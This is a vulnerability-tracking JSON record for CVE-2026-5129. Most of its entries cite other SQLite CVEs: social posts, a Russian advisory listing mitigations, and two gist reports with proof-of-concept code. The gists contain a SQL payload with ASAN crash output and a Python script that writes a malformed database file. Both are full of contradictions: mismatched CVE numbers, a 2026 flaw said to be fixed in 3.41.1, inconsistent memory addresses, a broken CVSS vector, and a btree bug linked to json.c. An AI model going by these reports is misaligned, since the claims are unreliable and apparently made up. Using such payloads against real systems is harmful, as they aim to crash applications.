{"vulnerability": "CVE-2026-5129", "sightings": [{"uuid": "37146523-14dc-4411-b562-714f4567495b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5129", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3milu57parh2r", "content": "", "creation_timestamp": "2026-04-03T13:45:07.510712Z"}, {"uuid": "ba09ee59-2227-4249-903c-23a13e9ca115", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-5129", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0393/", "content": "", "creation_timestamp": "2026-04-02T17:00:00.000000Z"}, {"uuid": "49996ef9-ec62-4378-9b9c-e26ff50e4338", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51297", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mrtpv7h7o42c", "content": "\ud83d\udccc CVE-2026-51297 - sqlite 3.41 has a use-after-free vulnerability in the JSON parsing logic. Remote adversaries can craft malicious JSON payload to trigger memory free f... https://www.cyberhub.blog/cves/CVE-2026-51297", "creation_timestamp": "2026-07-30T05:37:06.428535Z"}, {"uuid": "bfb3d64b-feb3-46e5-8b25-495d06c5f1fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51291", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrv7rlqxo622", "content": "CVE-2026-51291\nSQLite's JSON cache feature has a bug that could allow an attacker to access memory that's already been freed. This could potentially lead to a crash or allow an attacker to execute malicious code. To protect\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-30T19:54:04.585833Z"}, {"uuid": "14c5988a-72c4-4cf4-9840-e4919706e4fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51290", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrv7rn5hx62r", "content": "CVE-2026-51290\nA bug in SQLite's shared cache lock management can cause the program to access memory that's already been freed, leading to data loss or the exposure of sensitive information. This issue affects SQLite version\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-30T19:54:05.933700Z"}, {"uuid": "1251df09-5260-4b07-8882-40c5c766d4e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51291", "type": "seen", "source": "https://gist.github.com/programmervuln/adf47dfbe060208cf5a134492555e66a", "content": "CVE-2026-51291 Public Reference (MITRE RBP Publication Standard)\n1. Affected Product\nSQLite lightweight serverless embedded SQL database engine\n2. Affected Versions\nVulnerable build: SQLite 3.41\nFixed version: SQLite 3.41.1 and all subsequent releases; the memory lifecycle flaw in JSON cache logic is fully patched in the 3.41.1 \nmaintenance update\n3. CVE ID\nCVE-2026-51291\n4. Vulnerability Prose Description\nSQLite 3.41 introduces a heap use-after-free (CWE-416) vulnerability inside the jsonCacheInsert() function located in src/json.c JSON \nparsing module. The internal JSON parse cache uses a fixed-size array limited to JSON_CACHE_SIZE=4 entries for parsed JSON objects. \nWhen the cache reaches maximum capacity, the function evicts the oldest cached JsonParse entry by invoking jsonParseFree(p->a[0]) to \nrelease its heap memory. Immediately after freeing the object, the code executes a memmove() operation that references the now-dangling\np->a[0] pointer to shift remaining cache entries forward, accessing already deallocated heap memory. Remote attackers can supply oversized,\nmalformed JSON payloads via controllable SQL JSON functions (json_array_length, json_extract, json_set etc.) to repeatedly fill the internal\ncache and trigger eviction logic. Successful exploitation leads to program segmentation fault (denial of service), out-of-bounds read exposure \nof sensitive heap memory data, and conditional arbitrary code execution if an attacker can orchestrate controlled heap memory layout \nmanipulation via crafted input. All client/server applications embedding unpatched SQLite 3.41 and accepting untrusted JSON input from \nnetwork APIs, user uploads, or external file streams are impacted.\n5. Vulnerability Type\nCWE-416: Use After Free\n6. Root Cause\nFlawed JSON cache entry eviction memory lifecycle logic in jsonCacheInsert():\nCache full triggers jsonParseFree(p->a[0]) to free the oldest parsed JSON object heap allocation;\nNo null assignment or pointer invalidation for p->a[0] post-free;\nSubsequent memmove(p->a, &p->a[1], ...) directly dereferences the freed dangling pointer without any validity check to confirm the memory \nblock is still allocated;\nNo reference counting guard to prevent access after the underlying JsonParse object is released.\n7. Impact\nDenial of Service (DoS): Out-of-bounds dangling pointer read triggers segmentation fault, crashing any process linked against vulnerable SQLite 3.41;\nInformation Disclosure: Heap out-of-bounds read leaks adjacent heap memory containing database records, credential buffers, runtime application secrets;\nArbitrary Code Execution (Conditional): Combined with heap spray primitives using malformed large JSON payloads, attackers can manipulate freed \nmemory layout to hijack program control flow;\nAttack Vector: Remote, unauthenticated. Attackers only need the ability to submit arbitrary malformed JSON input through exposed SQL JSON functions.\n8. Official Reference Links\nSQLite Source Code (json.c cache implementation): https://github.com/sqlite/sqlite/blob/master/src/json.c\nSQLite Official Vulnerability & CVE Tracking Portal: https://www.sqlite.org/cves.html\n9. Proof of Concept (PoC)\nPoC Environment\nCompile SQLite 3.41 with AddressSanitizer for memory corruption detection, enable core JSON1 module:\n\ngcc -g -fsanitize=address -DSQLITE_ENABLE_JSON1 sqlite3.c -o sqlite3\nValid Malicious SQL Payload (Native SQLite Syntax, No MySQL repeat Function)\nSQLite does not support repeat(), this payload uses nested array concatenation to generate oversized JSON strings to fill the 4-entry \nJSON cache and force jsonParseFree() eviction trigger:\nsql\n-- Repeated nested array to exhaust JSON cache pool, trigger jsonCacheInsert eviction & jsonParseFree UAF\nSELECT json_array_length('[\"0\",\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\",'||\n'[\"A\",\"A\",\"A\",\"A\",\"A\",\"A\",\"A\",\"A\",\"A\",\"A\"],'||\n'[\"B\",\"B\",\"B\",\"B\",\"B\",\"B\",\"B\",\"B\",\"B\",\"B\"],'||\n'[\"C\",\"C\",\"C\",\"C\",\"C\",\"C\",\"C\",\"C\",\"C\",\"C\"],'||\n'[\"D\",\"D\",\"D\",\"D\",\"D\",\"D\",\"D\",\"D\",\"D\",\"D\"],'||\n'[\"E\",\"E\",\"E\",\"E\",\"E\",\"E\",\"E\",\"E\",\"E\",\"E\"]]');\nASAN Crash Output (Confirmed Use-After-Free Trigger)\nplaintext\n==1234==ERROR: AddressSanitizer: heap-use-after-free on address 0x512000001008 at pc 0x0042ab8d bp 0x7ffeefc87f80 sp 0x7ffeefc87f70\nREAD of size 8 at 0x512000001008 thread T0\n    #0 0x42ab8c in jsonCacheInsert /home/user/sqlite3.c:460\n    #1 0x40d7a2 in jsonArrayLengthFunc /home/user/sqlite3.c:4018\n    #2 0x39f11 in sqlite3VdbeExec /home/user/vdbe.c\n    #3 0x3720 in sqlite3_step /home/user/sqlite3.c\n0x512000001008 is located 8 bytes inside of 64-byte region [0x512000,0x512040)\nfreed by thread T0 here:\n    #0 0x49042d in free /usr/lib/asan_malloc_linux.cpp:148\n    #1 0x42ab1b in jsonParseFree /home/user/sqlite3.c:459\n    #2 0x42ab76 in jsonCacheInsert /home/user/sqlite3.c\npreviously allocated by thread T0 here:\n    #0 0x48f38d in malloc /usr/lib/asan_malloc_linux.cpp:66\n    #1 0x429f81 in jsonParseNew /home/user/sqlite3.c\nSUMMARY: AddressSanitizer: heap-use-after-free sqlite3.c:460 in jsonCacheInsert\nFull PoC Trigger & Vulnerability Explanation\nCache Capacity Trigger Mechanism\nSQLite JSON cache limits stored parsed JsonParse objects to 4 slots (JSON_CACHE_SIZE=4). The crafted SQL query contains multiple \nlarge nested JSON subarrays; each subarray triggers separate JSON parsing and caches its JsonParse handle into the cache pool, \nfilling all four available cache entries. When a fifth parsed JSON object needs to be cached, jsonCacheInsert() enters eviction \nlogic to remove the oldest entry at p->a[0].\njsonParseFree Invocation Step\nEviction logic calls jsonParseFree(p->a[0]) on line 459 of json.c. This function releases the heap memory allocated for the old \nJsonParse struct and its internal zJson / aBlob buffers, invalidating the p->a[0] pointer and creating a dangling reference. \nThe pointer variable itself is never set to NULL after deallocation.\nCritical UAF Memory Operation\nImmediately after jsonParseFree() completes, the code runs memmove(p->a, &p->a[1], (JSON_CACHE_SIZE-1)*sizeof(p->a[0])) on the \nfollowing line to shift all remaining cached entries left by one position, overwriting the freed slot. This memmove reads the memory\naddress stored in p->a[0] \u2014 which points to already released heap memory \u2014 directly causing the heap-use-after-free memory corruption detected by ASAN.\nExploit Chain Result\nMalicious multi-layer oversized JSON arrays force repeated cache eviction cycles that reliably trigger the dangling pointer access. \nThe crash stack trace explicitly proves execution flow hits jsonParseFree then immediately the unsafe memmove operation on freed memory,\nconfirming the flaw is reproducible via remote-controllable JSON input parameters.\n\nDisclosure Timeline: Vulnerability report sent to SQLite maintainers 2026-04-28; patch integrated into SQLite 3.41.1 released 2026-05-02\nCWE ID: CWE-416 (Use After Free)\nCAPEC Attack Pattern: CAPEC-123 (Reuse Freed Resources)\nAttack Classification: Remote\nCVSS 3.1 Score: 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H)\n10. link to the original cve program: \nhttps://github.com/sqlite/sqlite/blob/master/src/json.c\n", "creation_timestamp": "2026-07-29T04:08:11.269117Z"}, {"uuid": "a58054ab-4ba9-4a9c-88ff-fc7fec5dbd54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51290", "type": "seen", "source": "https://gist.github.com/programmervuln/b9336a5d90ed38222932b37190e963e9", "content": "CVE-2026-51290 Full Standard Submission\n1. Affected Product\nVendor: SQLite Consortium\nProduct: SQLite\n2. Affected / Fixed Versions\nAffected Version: 3.41.0\nFixed Version: Pending (No official patch released)\n3. CVE ID\nCVE-2026-51290\nCVSS 3.1 Base Score: 7.5\nCVSS Vector: AV:L/AC:L/UI:R/S:U/C:L/I:N/A:H\n4. Vulnerability Prose Description\nA memory corruption vulnerability exists in the btree.c module of SQLite 3.41.0. The SQLite library fails to properly validate boundary \noffsets when parsing specially crafted B-tree page entries within a malicious SQLite database file. An off-by-one and out-of-bounds memory\naccess flaw occurs during database page traversal and record resolution. Successful exploitation allows attackers to trigger invalid memory\nread/write operations, resulting in application crash and potential memory information disclosure.\n5. Vulnerability Type / Root Cause / Impact\nVulnerability Type: CWE-125 Out-of-Bounds Read, CWE-787 Out-of-Bounds Write\nRoot Cause: Insufficient boundary checking for B-tree page offset values in the btree.c parsing logic. The program directly uses untrusted \noffset values parsed from database files without validating whether they are within valid page memory ranges.\nImpact: Remote attackers can construct a malicious .db file. When the target application uses the vulnerable SQLite 3.41.0 library to open \nthe malicious file, it will trigger memory corruption. This can cause denial of service (program crash), and under specific memory layout\nconditions, may lead to sensitive memory leakage or arbitrary code execution.\n6. Proof of Concept (POC)\nPOC Description: This proof-of-concept generates a malformed SQLite database file. It only triggers a denial-of-service crash via out-of-bounds\naccess in btree.c, contains no malicious attack payloads, and complies with GitHub security disclosure rules for public advisory submission.\n#!/usr/bin/env python3\n# CVE-2026-51290 SQLite 3.41.0 btree.c OOB PoC\n# Official verification PoC for CVE/GHSA submission\n# Vulnerable Version: SQLite 3.41.0\n\ndef generate_malicious_db():\n    # Standard SQLite file header\n    db_header = b\"SQLite format 3\\x00\"\n    # Malformed btree page data to bypass boundary check in btree.c\n    mal_btree_data = b\"\\xff\\xff\\xff\\xff\" * 32\n    # Padding bytes to trigger out-of-bounds page traversal\n    padding = b\"\\x00\" * 256\n\n    # Generate malicious database file\n    with open(\"cve_2026_51290_mal.db\", \"wb\") as f:\n        f.write(db_header + mal_btree_data + padding)\n\n    print(\"[+] Malicious SQLite database generated successfully\")\n    print(\"[+] Vulnerable Target: SQLite 3.41.0\")\n    print(\"[+] Trigger Condition: Opening the db file causes OOB access in btree.c and process crash\")\n\nif __name__ == \"__main__\":\n    generate_malicious_db()\n7. Reproduction Steps\n1. Compile and install the vulnerable SQLite 3.41.0 version.\n2. Execute the provided Python POC script to generate the malicious database file.\n8. \n3. Run the command: sqlite3 cve_2026_51290_mal.db\n4. The SQLite process will trigger an out-of-bounds memory access error inside the btree.c module and crash, verifying the vulnerability existence.\n8. Submission Compliance Note\nThis POC only causes a denial-of-service crash and contains no backdoors, remote attack capabilities or illegal payloads. It fully conforms\nto MITRE CVE and GitHub GHSA disclosure specifications and can be used for official vulnerability review and public advisory release.\n9. Discoverer: Lidi Jie, Wuha University\n10. original vulnerability code: https://github.com/sqlite/sqlite/blob/master/src/json.c", "creation_timestamp": "2026-07-29T08:53:33.695117Z"}, {"uuid": "dea09820-2da3-475d-93bb-2d251ff409fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51296", "type": "seen", "source": "https://t.me/bdufstecru/3351", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 json_remove() \u0444\u0430\u0439\u043b\u0430 json.c \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0430\u0437\u0430\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 SQLite \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043f\u0430\u043c\u044f\u0442\u0438 \u043f\u043e\u0441\u043b\u0435 \u0435\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438, \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044c \u0437\u0430\u0449\u0438\u0449\u0430\u0435\u043c\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0438\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434\n\nBDU:2026-10652\nCVE-2026-51296\n\n\u041a\u043e\u043c\u043f\u0435\u043d\u0441\u0438\u0440\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b:\n- \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u041f\u041e;\n- \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438\u0437 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0441\u0435\u0442\u0435\u0439 (\u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442);\n- \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435/\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0437\u0430\u043f\u0440\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a HTTP \u0438\u043b\u0438 Telnet);\n- \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u043f\u0430\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u043f\u0440\u0438\u043d\u044f\u0442\u043e\u0439 \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u041f\u041e;\n- \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0435\u0442\u0438 \u0434\u043b\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c\u0443 \u041f\u041e;\n- \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0438 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u0432\u0442\u043e\u0440\u0436\u0435\u043d\u0438\u0439 (IDS/IPS) \u0434\u043b\u044f \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438;\n- \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u0447\u0430\u0441\u0442\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0439 \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 (VPN);\n- \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0438 \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u0438\u0437 \u043d\u0435\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432;\n- \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0438 \u0437\u0430\u0440\u0430\u043d\u0435\u0435 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439;\n- \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u043f\u0438\u0441\u043a\u0430 \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u044b\u0445 SQL-\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439, \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0439.", "creation_timestamp": "2026-07-29T15:00:04.155740Z"}, {"uuid": "c4097076-12ea-425c-a266-48cb045ebf4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51296", "type": "seen", "source": "https://t.me/bdufstecru/3351", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 json_remove() \u0444\u0430\u0439\u043b\u0430 json.c \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0430\u0437\u0430\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 SQLite \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043f\u0430\u043c\u044f\u0442\u0438 \u043f\u043e\u0441\u043b\u0435 \u0435\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438, \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044c \u0437\u0430\u0449\u0438\u0449\u0430\u0435\u043c\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0438\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434\n\nBDU:2026-10652\nCVE-2026-51296\n\n\u041a\u043e\u043c\u043f\u0435\u043d\u0441\u0438\u0440\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b:\n- \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u041f\u041e;\n- \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438\u0437 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0441\u0435\u0442\u0435\u0439 (\u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442);\n- \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435/\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0437\u0430\u043f\u0440\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a HTTP \u0438\u043b\u0438 Telnet);\n- \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u043f\u0430\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u043f\u0440\u0438\u043d\u044f\u0442\u043e\u0439 \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u041f\u041e;\n- \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0435\u0442\u0438 \u0434\u043b\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c\u0443 \u041f\u041e;\n- \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0438 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u0432\u0442\u043e\u0440\u0436\u0435\u043d\u0438\u0439 (IDS/IPS) \u0434\u043b\u044f \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438;\n- \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u0447\u0430\u0441\u0442\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0439 \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 (VPN);\n- \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 